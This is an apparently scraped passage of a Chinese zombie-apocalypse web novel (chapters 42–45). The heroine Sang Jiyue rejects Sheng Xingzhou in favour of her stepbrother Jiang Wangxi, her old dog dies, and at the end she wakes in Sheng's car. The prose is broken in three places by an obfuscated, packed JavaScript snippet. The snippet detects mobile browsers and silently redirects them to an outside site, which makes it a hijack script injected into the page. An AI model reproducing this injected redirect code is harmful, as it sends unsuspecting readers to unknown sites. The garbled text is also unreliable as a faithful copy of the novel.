可是她知道江望曦想将她当成实验样本吗? 又或许她知道,又仍是坦然接受呢? 在原定的剧情中,桑寄月注定是会变成丧尸的,似乎无论有没有江望曦插足,都不会改变这个结果,因为她的身体的确也将要走到尽头。 ……变成丧尸也没关系啊,盛星舟知道她总有一日会记起他的,她会是她和他说过的异种丧尸,他是可以等到她“正常”的那一日的。 既然如此,这一切和江望曦都毫无关系啊,他凭什么要横插一脚,还要让桑寄月冒着被当成实验样本的风险? 异种丧尸的研究价值可比普通丧尸要大得多。 尤其是江望曦还亲口说过,桑寄月是实验样本。 这让盛星舟对江望曦不满到了极点。 桑寄月见盛星舟的神情阴郁,她想起傍晚时他与江望曦争执,多半是没讨到好,估计心情很差。 桑寄月犹豫了一下,还是开口劝了他一句:“你没必要和哥哥起冲突的,他不会害我的,你放心好啦。” “你很了解他吗。”盛星舟声音平静。 桑寄月反问:“不然呢?” “那你知道他会为你带来危险吗?” 桑寄月眉头微皱:“你这是什么话?” “就算是他想将你当成试验品也无所谓吗?” 桑寄月的神情陡然冷了下来:“谁和你这样说的?还是你自己的臆想?” “江望曦亲口和我说的。” 桑寄月没有去质疑盛星舟的说法,她只是说:“我不知道哥哥为什么那么对你说,但他不会伤害我,这样的话以后我不想再听到第二遍。” “你就那么信任他吗?”盛星舟有些不可置信的问:“哪怕在已经有那么多前车之鉴的前提下也毫不怀疑?” 桑寄月逐渐有些不耐烦了:“这和你有关系吗,我有说过少管我的事吧。” 很显然,只要盛星舟再说江望曦的不是一个字,桑寄月必然就会生气。 可是她竟然为了江望曦和他生气! 盛星舟一时之间又生气又委屈,但他没有忘记自己的目的,好声好气的和她说:“阿月,如果一定要转生成丧尸的话,待在军方的地盘上风险很大,我们离开这里好不好?” “我在这里不会有危险,非要说有危险,危险的也是你。”桑寄月平静的说道:“你还是趁早离开吧,等下雪了就走不了了。” “你又赶我走?!”盛星舟的情绪陡然激动了起来。 “我先前就说得很清楚了,你对我来说没有用处,我也不再需要你。”桑寄月冷漠的说道:“两年也快到了,你不要再胡搅蛮缠。” 他深吸了一口气,强忍住心中的怒意,反问她:“我走,留你和江望曦双宿双飞?还是留你成为冷冰冰的试验品?” “盛星舟!”桑寄月的脸色完全沉了下去:“我说过,同样的话我不想再听见第二遍!” 她被气得不轻,呼吸都重了起来。 “你为什么那么维护江望曦?他凭什么?”盛星舟蹭的站了起来,低垂着眼眸看着桑寄月:“那我这两年算什么?你把我当什么?我就该是一条被你招之即来挥之即去的狗吗?” 桑寄月将柔软的枕头往他脸上扔,怒气冲冲的说道:“你凭什么和我哥哥比!” 无论桑寄月喜不喜欢江望曦,她都不容许任何人诋毁他。 桑寄月的反应大得出乎盛星舟的意料,他没有见她像现在这样生气过。 凭什么?凭什么? 江望曦他凭什么啊! 七四的声音忽然在盛星舟脑海中响起:“恭喜宿主,触发关键剧情,相关剧情已解锁,是否查看剧本?” 盛星舟:“看!” 他怎么能不看,他倒是要看看,在原本的故事里,他们究竟又多深的羁绊。 只是这一次的信息获取量,远远超过了盛星舟的意料。 …… 【这是一个不幸的消息。 在他们小队一次搜寻物资的出行中,殷乔不幸感染了丧尸病毒。 迄今为止,丧尸病毒都是不可逆的。 据说景城那边的基地里有最新的血清,可以抑制丧尸病毒,但他们距离景城实在太远,殷乔不可能等到那个时候。 在桑淮绝望之时,外出的叶临带来了一个对他们来说可以称得上是好也能称得上是坏的消息—— 江望曦就在不远处的军方驻地中,且他手中很有可能会有抑制丧尸病毒的血清。 只是他能拿出血清来救殷乔吗? 他们之间的关系其实说不上多好,只是比陌生人更熟悉一些,他们也几乎都很忌惮这位比他们年长几岁的“兄长”。 而因为桑寄月的原因,他们的关系其实还不如陌生人。 过去江望曦来到燕城的时候,他们往往都下意识的好好与桑寄月相处,因为没有人会想得罪江望曦。 但那已经是末世前了。 而桑寄月…… 桑淮眉头紧锁,一时头疼不已:“小月最近怎么样了?” “撑不过这两天了。”林洛安皱了皱眉,有些无奈的说:“我刚去给她喂粥,她已经完全吃不进东西了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207019|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这两年他们和桑寄月的关系有所缓和,桑寄月似乎将他们当成了并肩作战的伙伴,但他们却始终觉得和她隔了一层,总是怕她下一刻又有什么坏主意。 他们这种想法有错吗?当然没有。 因为他们可以选择让桑寄月自生自灭,而桑寄月却只能在他们的队伍中留下来,只有他们会接纳她。 当然,这些并不重要,可如果江望曦在这里,要他拿出血清,他势必会问起桑寄月的情况。 因为在过去桑淮的一次单独出行中,他遇见了无法离开景城的江望曦,为了得到江望曦的帮助,桑淮告诉了江望曦桑寄月的近况,说桑寄月和他们的小队待在一起,她很坚强,现在过得很好。 谁也不愿去想如果江望曦知道桑寄月快要死了的后果是什么,哪怕桑寄月本来就体弱多病,行将就木也和他们没关系。 更何况……就算桑寄月没有死,谁知道她会不会在江望曦面前说些有的没的,她是个特别爱告状的姑娘。 叶临冷不丁的说道:“如果她说不了话呢?” “就算我们不做什么,她也活不长了,自然也说不了话,但是……”林洛安犹豫了一下,最后还是说道:“基地里的医疗或许能让她多活一段时间,我们要把她交给江望曦吗?” 桑淮若有所思:“小月的确活不久了,或许我们可以用另一种方式,让她活过来,到时候……曦哥也一定会拿出血清,那么乔乔就还有希望。” 三个人,三种意见。 那一瞬间,他们可以主宰桑寄月的命运。 最终做出决定的仍是桑淮。 他想,他照顾了继妹两年,也该到了她回报他的时候了。 只是事态却没有桑淮想象中的顺利。 桑寄月的身体太弱,在见到江望曦的那一刻,只匆匆的抬起黯淡的眸子看了他一眼后,便被丧尸病毒吞噬。 殷乔最终也没能注射血清。 …… 江望曦带走了桑寄月。 她如同所有丧尸一样暴躁易怒,渴食血肉。 但江望曦仍没有放弃她,尝试着想要唤回她的理智,哪怕在此之前,已经有过无数的失败案例了。 但在这过程中,江望曦发现了“异种丧尸”的概念。 团队里一直监测着桑寄月身体状况的几位医生也发现了数值波动的不对劲,他们从未见过“异种丧尸”,这说明,桑寄月的研究价值非常大。 在挣扎着睁开漆黑的眼眸时,桑寄月就意识到了这一点。 病房内是想要将她绑上实验台的医生们,病房外是守卫森严的军方驻地,她的命运从来都无法由自我主宰。 深夜。 病房里只剩下了江望曦一人。 他坐在椅子上,沉默而安静的看着她。 桑寄月的意识模糊不清,短暂的清醒都是奢侈,她迷茫的看着他,身子微微前倾,是想要扑上前去的姿势。 她漆黑的眸子又逐渐染上苍白的色彩,这是理智在溃散的征兆。 江望曦用平静的语气叙述她如今的处境:“基地的管理者已经做出决定,要将你移送到景城的研究所中,进行进一步的研究。” 沦为试验品的丧尸“生不如死”,或是被片开脑补组织,或是被抽出神经,或是整日注射各种药剂,一切都是为了得出那未知领域的数值,为医学做出贡献。 桑寄月不会说话,但她还能勉强听得懂江望曦的话,她知道她的处境很差。 这两年拼了命的想活下去,到头来却发现不如早死了事。 她说不出话来,只呆呆的看了江望曦一眼,然后低垂了眉眼。 “当初将你带到基地,我就已经考虑过无数种糟糕的后果。” “没有任何人能主宰你的命运。” 外面是坚固如铁桶般的守卫,更远的是折返景城后现有的研究成果会为江望曦带来的荣耀。 但这些都是能舍弃的。 理智溃散前,桑寄月又听见了江望曦的声音,江望曦笑着问她:“要跟我私奔吗?小月。” 不是逃亡,是私奔。 在爱面前,一切都微不足道。】 43. 超烦 盛星舟沉默的时间过于长了,桑寄月也想趁机平复了一下烦躁的心绪,因为盛星舟今晚实在是让她太生气了。 桑寄月好不容易冷静下来,然后面无表情的开口:“看完了吗?” 听见桑寄月催促的声音,盛星舟回过神来,神情有些复杂的看着她。 他自然是知道桑寄月能够使用空间的,那么就必然是知道了系统的存在,他们没有对此具体交流过,彼此心照不宣。 见盛星舟不吭声,桑寄月也没了耐心再和他周旋下去,只接着说道:“既然你都知道了,也不需要我再和你多费口舌,你走吧。” 听见桑寄月又赶他走,盛星舟气着气着反而不气了。 他声音平静的说:“这两者之间有什么必然的联系吗?” 桑寄月自知上辈子她和江望曦的羁绊实在是太深,就算是这辈子她对江望曦已经没有了那种美好的感情,他们在过去与未来都会是彼此不可分割的一部分。 在她的故事中,本来就不该有盛星舟的存在,强留了两年,已是极限。 桑寄月绝对不会再选择盛星舟,盛星舟又何必自取其辱? 桑寄月觉得盛星舟应当是明白的。 却不想盛星舟接着说:“我是该感慨一声绝美爱情吗?可是阿月,那是上辈子的事情了,不是吗?” 这一次从头到尾在桑寄月身边的,都是他,而不是什么江望曦。 桑寄月冷漠的说:“这辈子也是一样。” 那可不一定呢。 盛星舟扯了扯唇角。 他没有再去和桑寄月争论这件事,而是说道:“江望曦带你走了,后来呢?” 桑寄月知晓盛星舟没有到剧情节点的时候是无法知悉未来会发生的事情的,算算时间她的死期也就是这几天了。 虽然现在她也没到一定会死的地步。 她说:“如果我告诉你后来发生的事,你能想明白的话,我可以和你说。” 桑寄月自认她对盛星舟的包容度已经很高了,今晚她已经浪费了很多口舌和精力去告诉盛星舟他们是不可能在一起的,他还是想不明白。 但如果她再耗费一些口舌和精力,能够让盛星舟乖乖离开的话,桑寄月也可以去花费这个时间。 比起和盛星舟大吵一架他愤然离开,桑寄月也是希望能和他体面结束的。 她暂时还不想和盛星舟结怨。 讨厌她的人够多了,没必要再多添一个盛星舟。 盛星舟笑了笑:“那好呀。” 盛星舟答应的速度快到桑寄月都忍不住看了他一眼。 他重新在床边坐下,将软枕塞回她身后,然后将水杯递到她唇边:“别急,慢慢说,先喝口水。” 桑寄月靠在软枕上就着他的手喝了一大口水,才别开脑袋,表示她不喝了。 盛星舟用干净温热的指腹蹭掉了她唇角的水渍。 桑寄月皱眉拍开他的手,又被他把手攥进了手心里,在她开口前,他说:“不是要说你和江望曦的事吗?可以说了。” 冰凉的手一下子就暖烘烘的,桑寄月的注意力也被吸引了一些,就没去计较他的靠近。 …… 江望曦的确是做好了充足的准备,哪怕基地的防守比坚硬的铁桶还要牢固,他们最终还是顺利的离开了基地。 只是无论是江望曦的价值还是桑寄月作为“异种丧尸”待发现的价值,他们一起出逃,造成了非常严重的后果,那段时间桑寄月偶尔意识清醒的时候,他们都在不停的逃亡。 在桑寄月的认知中,狼狈两个字从来都不会和江望曦沾边,而事实是那段时间,他们如同丧家之犬。 在意外弄丢了桑寄月又失而复得后,江望曦带着她进入了城市的沦陷区,在那里全都是丧尸,桑寄月至少不会有危险。 江望曦不仅仅会拿丧尸甚至是活体做实验,他自身也是研究的一部分,在经年累月的药剂注射中,他早已经对丧尸病毒免疫。 只不过这也并不代表安全,对病毒免疫,但丧尸不会对他免疫。 在后来桑寄月彻底清醒之后,她曾掀开他的袖子看过,手臂上密密麻麻的针孔早已被来自于丧尸的咬痕与抓痕掩盖,伤疤纵横交错,惨不忍睹。 那些伤痕直到桑寄月最后见他,都未曾消过。 他们已经逃到了沦陷区,但命运却未曾怜悯过他们。 由于当初桑寄月尸化的时候太虚弱,变成丧尸之后自然也不如其他丧尸;在她走失的那段时间,她欺负过不少人类与丧尸,自然也被很多的人类与丧尸欺负过,本就岌岌可危的身体,一塌糊涂。 江望曦曾尝试过用大量的血肉为她修补身体,无论是人类的或是异兽的,他都尝试过,只是收效甚微。 后来他们在一座废弃的实验室落脚,江望曦花费了很大的功夫,找来了许多雷系异能的晶核用以供电,仪器重新运转。 江望曦想要治好她。 治疗的过程漫长而痛苦,在这过程中,他觉醒了精神系的异能,在最大的限度下,帮她分担了一半的痛苦。 哪怕如此,那段时间,桑寄月都毫无求生欲,她疼得只想死去。 他们在那里相依为命了两年,桑寄月才终于清醒了过来,她虽然自始至终都未能觉醒异能,但在江望曦的治疗下,她的体质已经可以用强悍来形容。 她不再病弱,那样的一具身体,让桑寄月无数次从死亡的边缘爬了出来。 后来他们离开了那座废弃的城市,江望曦带着她重新走了一遍她为人时走过的那一条路,同样也花费了两年的时间,她杀光了所有曾给她带来噩梦的人。 除了……桑淮他们。 最后的那一年,他们遇见了桑淮和他的小队。 那时候桑淮已经是一座基地的管理人,他们小队的所有人都还在,包括殷乔。 据说当时殷乔在丧尸病毒的侵袭下,最后关头觉醒了异能,幸运的没有被病毒吞噬,后来也注射了血清,除去了体内的丧尸病毒。 不过桑寄月至今还不知道殷乔究竟是觉醒了什么异能,似乎从没见她用过。 当时桑淮几人正在他们基地四周清理侵袭领地的异兽。 殷乔看见桑寄月与江望曦非常开心,她并不知道当初为了血清桑淮曾捡起丧尸断肢划破了桑寄月的手臂,她看见故人安然无恙,热情的邀请他们同行,回程的时候还能去基地做客。 桑寄月欣然同意,和江望曦与他们同行,只不过最后走出他们基地的,却只剩她一人。 说到这里,桑寄月沉默了下来。 哦,看来江望曦是死在那了。 所以桑寄月才没有继续说。 除了一开始表露愤怒的情绪后,听见桑寄月亲口说她与江望曦的那五年,他也没什么情绪起伏。 反正也是过去式了,不是吗。 盛星舟将温热的水递到她的唇边,柔声说道:“说这么多话会口渴吗?” 桑寄月:“……” 她忍着不耐烦喝了一口水润润嗓子。 盛星舟接着说:“很晚了,休息吧。” “你装什么傻。”桑寄月终于忍不住开口:“刚才答应我的你忘了?” “没忘,只是我不认可这个理由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214605|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”盛星舟平静的说道:“阿月,在你眼中如果江望曦真的有那么完美无缺,你又怎么会容许我留在你的身边,握住你的手?” 桑寄月猛地将暖烘烘的手抽出来藏进被子里:“因为哥哥这两年不在。” “他在的,只是你选择了我。”盛星舟的掌心覆在了她搭在被子上输液的右手上,桑寄月这次没法吧手藏起来了。 他轻轻的捏着她冰凉的指尖,继续说道:“我知道你接下来会发生的事情,就不会让你重蹈覆辙的,阿月。” “你说你尸化的时候太虚弱,那么现在你的状态很好,养一养再注射丧尸病毒,一定会成为非常健康的丧尸。” “你说你被弄丢了,我有信心可以和你形影不离,这两年来我们都是这么过来的,不是吗?” “异种丧尸需要血肉才能恢复意识,这就更好办了,无论是异兽,还是其他什么的,我都可以去杀,我不会再像从前那样心慈手软,你放心。” “还有……” 盛星舟长篇大论,大有一一打消桑寄月所有顾虑的想法。 桑寄月越听越不耐烦,非常暴躁的打断他:“够了盛星舟,我和你说这些,不是让你说你会怎么怎么做,这些我都不需要!” “为什么呢?”他似乎是疑惑。 “在我已经确定和哥哥在一起我会是安全的前提下,我为什么要拿我失去意识的那段时间的安危去赌和你在一起的未知未来?更何况你能改造我的身体吗?”桑寄月冷漠的反问他。 盛星舟看着愤怒的桑寄月,垂下眸子,轻声说道:“看来江望曦的确比我有价值。” “你知道就好。” 他无所谓的笑了笑:“既然这样,那就保持现状吧,三个人一起生活也可以,不过我不会再把次卧让给江望曦了,当然你非要他住你隔壁的话也可以,我会睡你床上。” 桑寄月呆住,半晌后又开始往盛星舟身上扔枕头,还把他从她的床边踹走。 “盛星舟你有完没完,赶紧滚!” 盛星舟挨了她两脚也不生气,只弯腰按着她那只挂水的右手不让她牵动。 桑寄月更是怒不可遏,她抬起手—— 那巴掌清脆的落在了他的脸颊,留下淡淡的红色指痕。 盛星舟没什么反应,桑寄月倒是愣了一下,似乎是没想到这次他竟然不抓她的手了。 “打累了吗?那我们就休息吧。”盛星舟又露出笑容来,脸上的指痕消得很快,眨眼间就只剩下了淡淡的红色。 桑寄月又气又急:“你这个人怎么听不懂人话呐,我说让你滚让你滚赶紧滚啊,不要再纠缠我了!” 争执之际,门外忽然传来了扒门的声音,然后房门被挤开了一条缝,毛茸茸的身影慢吞吞的走了进来。 大福安静的看着桑寄月,混浊了许久的眸子又在此刻变得清亮,清晰的倒映着桑寄月的身影。 桑寄月咽下了骂盛星舟的话,毕竟在小狗面前吵架是不好的行为,大福会为她担心的。 年迈的小狗走到了她的床前,眼巴巴的看着她。 桑寄月心中一软,推开盛星舟后,朝着大福招了招手。 大福得到允许,要往床上跳,但它的动作早已不再敏捷,还是盛星舟眼疾手快的托了一把,才让它跳上床。 盛星舟说:“睡前我给大福擦了脚,不脏,你们可以一起睡。” 桑寄月摸了摸大福毛茸茸的脑袋,懒得理他。 “我也洗了澡,还刷了牙,不脏,我们可以一起睡。”他又说道。 桑寄月:“……” 盛星舟真的超级烦! 44. 选择 或许是因为昨晚睡得太晚了,所以桑寄月睡得很沉,早上醒来的时候手背上的留置针已经被小心的拔了下来,没有渗血,盛星舟也没把她吵醒。 桑寄月摸了摸手背上的针孔,然后目光挪到了安静趴在床边她的鞋子上的大福身上,它不知何时又跳下了床,蜷缩着身体,似乎也睡得很沉。 她愣了一下,爬下来摸了摸它的身体,还是温热的,只是已经没有起伏了。 桑寄月觉得她不该意外,毕竟大福的年纪也很大了,早些年还生过一场大病,身体大不如前。 这两年虽然健健康康的,但身体机能也早就随着时间的流逝而退化。 这段时间它无病无灾,却越来越懒洋洋的,江望曦也帮她看过小狗,说它没有生病,只是年纪大了。 和上辈子变成一堆白骨相比,这辈子能够寿终正寝已经很好。 桑寄月摸摸大福毛茸茸的脑袋,眨巴了下眼睛,泪珠子断线般的坠了下来,打湿了那片毛。 盛星舟端着早餐进来的时候,看见的就是蹲在床边掉眼泪的桑寄月。 她的神情很平静,双眸却通红,眼泪不停的往下掉,像断线的珠子一样。 他愣了一下,连忙将早餐放到一边,蹲在了桑寄月的旁边,低头看去,一时有些反应不过来。 桑寄月用手背擦了下眼泪,声音有些沙哑:“你几点起的?” “七点。”盛星舟和桑寄月说。 他一早醒来的时候,正好大福也醒过来了,小狗用温热的舌头舔了舔他的手,然后拱了拱睡得正香的桑寄月。 或许只是在和他们打招呼,又或许是它还有别的意思。 然后大福想从床上跳下去,盛星舟把它抱了下去,小狗在卧室里转悠了一圈,巡视领地一样,然后挨着桑寄月放在床边的棉拖鞋边趴了下来。 盛星舟便去给桑寄月做早餐了,还给大福做了狗饭,都在桌子上,还热着。 现在是早上八点钟。 桑寄月找了条柔软的毯子将大福裹了起来,她有些愣神,盛星舟蹭了蹭她眼角的泪花,和她说:“节哀。” “我不伤心。”桑寄月站起身来,在桌边坐下,拿起玻璃杯,喝了一口里面还温热着的牛奶,情绪毫无起伏,她说:“身体决定寿命,它已经走到了最后,这没什么好意外的。” 就像她一样。 哪怕她的情况在此刻恶化,她也不会意外,因为她的寿命也到此为止了。 盛星舟听出了她未尽的话语。 桑寄月对于死亡似乎表现得很豁达,至少嘴上是这样的,方才安静的哭了一场之后,此时也没有再掉眼泪,而是沉默的、努力的吃着早餐。 只是或许是因为没有食欲,又或许是因为身体原因,她一杯牛奶都没喝完,还剩下大半杯,碟子里烤得焦脆的吐司也只吃了小半片。 结束早餐后,桑寄月去洗漱、换衣,然后告诉从昨晚开始就没有来找过她的江望曦大福去世。 今日天晴,风清气明,还罕见的出了太阳,似乎是暴风雪来临前最后的温暖。 桑寄月裹得严严实实的出门,将大福埋在了后面山上的一片空地上,那里芳草萋萋,十分幽静。 她呆呆的在地上蹲了一会儿,然后摇摇晃晃的站起来,可能是因为蹲太久了,起来的时候有些低血糖,盛星舟眼明手快的想要扶她,她已经顺手攥住了江望曦的胳膊,稳稳的站住了。 盛星舟的手垂回了身侧。 桑寄月的半张脸都藏在毛茸茸的围巾里,声音隔着布料传来,有些闷闷的:“盛星舟,你先回去吧。” 盛星舟不太情愿的在原地磨蹭。 桑寄月抿了抿唇,眼角下垂,看起来已经不耐烦了。 盛星舟也不想在这个时候招惹她,只说道:“我不回去,我在那边等你。” 他说着,大步走到了远处的那棵树下,距离有些远,但还能看见桑寄月。 江望曦拂去她额角被风吹乱的碎发,温声和她说:“大福是寿终正寝,至少没有病痛,天下没有不散的筵席,不要太过于伤心。” “我知道。”桑寄月肯定的说:“我知道的。” 桑寄月当然知道,她就是那样和盛星舟说的,盛星舟那个笨蛋,就没有他们这般坦然的接受命运。 或许终究不是一路人吧。 桑寄月也不想和江望曦谈论这种事,她直接说道:“你昨天傍晚和盛星舟说,你要把我当成实验样本吗?” “嗯,说了。”江望曦的语气毫无起伏:“我以为他去找你,你不会给他好脸色,但他昨晚没有从你房间里出来。” 桑寄月反问:“那你为什么不来找我呢?哥哥。” “我想你应该能想明白,你需要的人是谁。”江望曦知道盛星舟一定会和桑寄月说什么,所以他给了桑寄月一整晚的时间,这也是最后一次。 他问:“想通了么?” 桑寄月不答,只继续问:“你为什么要这样,我说过我会处理好的,你没必要横插一脚。” 她似乎有些生气。 “我不想等了。”江望曦的声音毫无起伏:“所以推波助澜了一番,我有弄巧成拙么?小月。” 桑寄月想起昨晚上盛星舟油盐不进的模样,就觉得非常头疼。 或许这也是江望曦想让她看见的。 她根本就……处理不好和盛星舟的关系。 “没有。”桑寄月低垂着脑袋,似乎有些沮丧。 江望曦唇角微微勾起,轻声问她:“那要我帮忙吗?” “嗯。”桑寄月盯着她的脚尖,闷声说道:“帮我处理掉吧,哥哥。” 江望曦轻轻的掐住她的下巴,让她抬起头来,往盛星舟的方向看去:“会伤心吗?他应该都听到了。” “听到就听到,我已经说过很多次让他滚了。”桑寄月拍开江望曦的手,别开眼,不去看紧盯着她的盛星舟。 只是一瞬,他转身离开了。 江望曦收回目光,又问:“能杀吗?” 桑寄月摇了摇脑袋:“不要。” “听你的。”江望曦摸了摸她柔软的发顶:“那小月是不是也应该听我的呢?” “嗯。”桑寄月很快回答。 江望曦说:“那就注射血清吧。” 趁着现在桑寄月还没有那么虚弱,或许是注射血清的最好时机,没有必要等到情况再恶化。 桑寄月抿了抿唇,说道:“盛星舟得先离开。” “好。” “还有,我不要看到除了你以外的所有人。”桑寄月又说:“这里只能有我和你。” “不会让他们出现在你的视线里。” “不止如此。”桑寄月皱了皱眉,有些厌恶的说道:“在我住的地方附近驻扎的那些人,也让他们滚。” 江望曦沉默了一下。 “我不需要他们保护我,有你就够了。”桑寄月表现得很反感,她接着说:“我只能接受你,哥哥。” 他妥协:“好。” 桑寄月又道:“等我尸化后,也不要让我见到除了你以外的任何人。” “小月,不要害怕。”江望曦叹了一声,温和的安抚她明显不安的情绪:“我们还像从前那样生活,你不喜欢看到别人,我就不会让你看到。” 桑寄月紧紧攥住江望曦的手:“哥哥,我只相信你。” “我知道。”他将她的手裹进掌心,牵着她往山下走:“回家吧。” 她闷闷的应了一声。 下山的时候已经快中午了,按理说这时候盛星舟也该做好午饭,但他不在厨房,而是靠在院外空地停着的那辆越野车的车门边,百无聊赖的踢着脚下的石子,似乎已经等了很久。 桑寄月似乎意识到了什么。 她将手从江望曦的掌心抽离,却又被他紧紧的握住了,他说:“小月,昨晚已经是最后一次,我不希望你再和他单独相处,你能理解吗?” 桑寄月张了张口,想说什么,最后还是妥协了:“好吧。” 盛星舟盯着他们手牵手的走过来,脸上没有任何表情,只看着他们交握的那双手,半天都无法收回目光。 江望曦冷漠的扫了盛星舟一眼,眼中厌恶一闪而过,他说:“长话短说,外面很冷。” 他催的是盛星舟,但先开口的是桑寄月。 她问:“盛星舟,你要走了吗?” “是呀。”盛星舟的目光落在了桑寄月的脸上,他露出笑容:“阿月,你们说的话我又听见了,如你所愿,我又要被你气走了。” 桑寄月认真的看了一眼盛星舟,然后就挪开了目光,不再看他:“你早就该走了,去吧。” “好。”盛星舟上前一步,高大的身影在桑寄月头顶投下一层阴影:“以后应该也不会再见了,可以抱一下吗?” 桑寄月往后缩了缩,藏在了江望曦身后:“不了。” “真是……一如既往的无情。”盛星舟叹了一声:“行吧,后会无期。” 他转身钻进了车子里,系好安全带,引擎启动,发出轰鸣之声。 很快,他绝尘而去。 江望曦拉了拉又开始发呆的桑寄月:“回去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228945|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “好。”桑寄月回过神来。 家里很安静,没有大福,也没有盛星舟。 桑寄月跑去厨房看了一眼,冷锅冷灶,她轻微的撇了下嘴角,心里有种说不出的感觉。 “我去给你拿食物。”江望曦当她是饿了,温和开口。 桑寄月颔首。 家里很快就只剩下了她一个人。 桑寄月漫无目的的转悠了一圈,孤独、落寞、怅然若失……很多种本不该出现在她身上的伤春悲秋情绪围绕着她。 桑寄月回到了卧室,喃喃自语:“好像……不太开心。” “我做错了吗,妈妈。” 只是桑寄月已经很久没有见到过妈妈了,似乎是因为当初她要给盛星舟两年,所以妈妈生气了,不再出现在她面前。 可是现在盛星舟终于被她赶走了,妈妈也没有再回来。 桑寄月吸了吸鼻子,红彤彤的眼眶又泛起了泪花。 江望曦很快就回来了,手里提着沉重的食盒,他在卧室里找到了桑寄月,她蜷缩在衣柜里,正在安静的哭。 他将手里的东西放到一边,在她面前蹲下,耐心的擦掉她的眼泪。 “为什么要哭。”江望曦在问,却不是用询问的语气,似乎只是在陈述她哭泣的事实。 桑寄月哽咽着:“哥哥,抱抱我。” 他伸出手臂,圈住了她。 “为什么……”江望曦的声音很低,透出一丝无可奈何的酸涩:“不能只喜欢我呢,小月。” 桑寄月似乎没有听到他在说什么,她只是埋在他的胸膛,安静的掉着眼泪,听着他的心跳,感受着他的体温…… 不一样,和盛星舟不一样。 但同样是她熟悉的。 不要哭了。 不要哭了。 她只是做出了正确的选择。 …… 桑寄月哭着哭着就睡着了,但睡得不是很安稳,睡着了也时不时的嘤咛一声,眼角也是湿润的。 江望曦将她叫起来吃了晚饭,晚饭非常丰盛,桑寄月没什么胃口,但还是挨个尝了一口。 她知道这是最后一餐了。 只是吃完后没多久她就全都吐了出来,整个人都萎靡了下来。 江望曦说:“今晚好好休息,明天我们注射血清。” “哥哥,外面是下雪了吗?”桑寄月听着外面呼啸的风声,问他。 “刚开始下,明早应该会更大,” 在末世,一旦开始下雪,便不太可能会轻易停下来。 桑寄月呆呆的点了点头,也不知是在想什么,她缩进了被子里,又问江望曦:“可以守着我吗?” “我会一直在。”江望曦吹灭了卧室里的蜡烛。 桑寄月躺了一会儿后,有些睡不着,但江望曦很安静,不和她说话,她就开口和他说话。 她难得的说起了很久以前,他们还住在御水湾的时候,桩桩件件,她都记得很清楚。 无论是少年千里迢迢的来陪她过生日,和她去游乐园玩,他们拍下了珍贵的合照,还是寒冷的冬夜里,陪她一起度过新年…… 他们之间的往事多得说都说不完。 可桑寄月不该是会追忆往昔的人,她的话很少,大多数时候不愿意搭理人,就连他,她很多时候也爱搭不理的。 现在她似乎开朗了很多。 江望曦从前总是盼着她能多说几句话,但现在他又觉得她还是安静一些,才像是他熟知的那个她。 他用手背贴了下她的额头:“小月,睡觉吧,很晚了。” “我睡不着。”桑寄月低落的说道。 江望曦喂她喝了一口水,接着说道:“要为明天保存体力。” 桑寄月听了,终于点头,乖乖的闭上了眼睛,过了许久,她难受的蹬了蹬腿。 “哥哥。” “还是睡不着吗?” “嗯。” 江望曦出去拿了安定给她,将一粒白色的小药片递到她的唇边。 桑寄月其实不太想吃,但药已经到嘴边了,她也没说什么,张嘴就咽了下去,然后又像是想起了什么一样,拿起床头柜上放着的玻璃杯喝了一口水,冲淡了嘴里的药味。 江望曦帮她盖好被子,似乎是感慨:“小月吃药的习惯好了很多,终于不是生咽了。” 桑寄月侧躺着,闭上了眼睛。 或许是因为断药太久,身体对于药物的抗性没有那么强烈了,桑寄月这次很快就沉沉的睡了过去。 外面风雪漫天,是个很长的夜晚。 45. 贪心 桑寄月这一觉仍旧睡得很沉,她裹着柔软毛绒的毯子,将冰凉的躯体捂得暖烘烘的,苍白的脸上也带了些许温暖的红晕,看着也像是多了几分气色。 侧前方的位置似乎传来了悉悉索索的声响,伴随着几声被压得很低的闷哼声。 桑寄月隐约觉得这声音有些熟悉,她撑起眼皮子,视线开始聚焦,入目是宽大的黑色皮革座椅,侧前方驾驶位上的人背对着她,赤着上身,正在吃力的处理肩胛骨上的枪伤。 这是怎么回事? 桑寄月的记忆还停留在她昨晚吃了一片安定然后就睡着了上,如果不出意外的话她应该是在柔软的床上,而不是待在这辆已经被盛星舟开走的越野车里。 但很显然现在是出了意外了。 不过好在此时她也没有不适的感觉,反而还因为睡了个好觉精神还不错。 桑寄月从被放平的座椅上爬起来,探出身去,戳了下盛星舟结实的胳膊:“怎么回事?” 盛星舟刚好在缠绷带,嘴里叼着绷带的一角,听见声音就扭头去看桑寄月,他吐出绷带,也不管没包扎好的伤口了,微笑着对她说:“不够明显吗?这次私奔的是我们哦,阿月。” 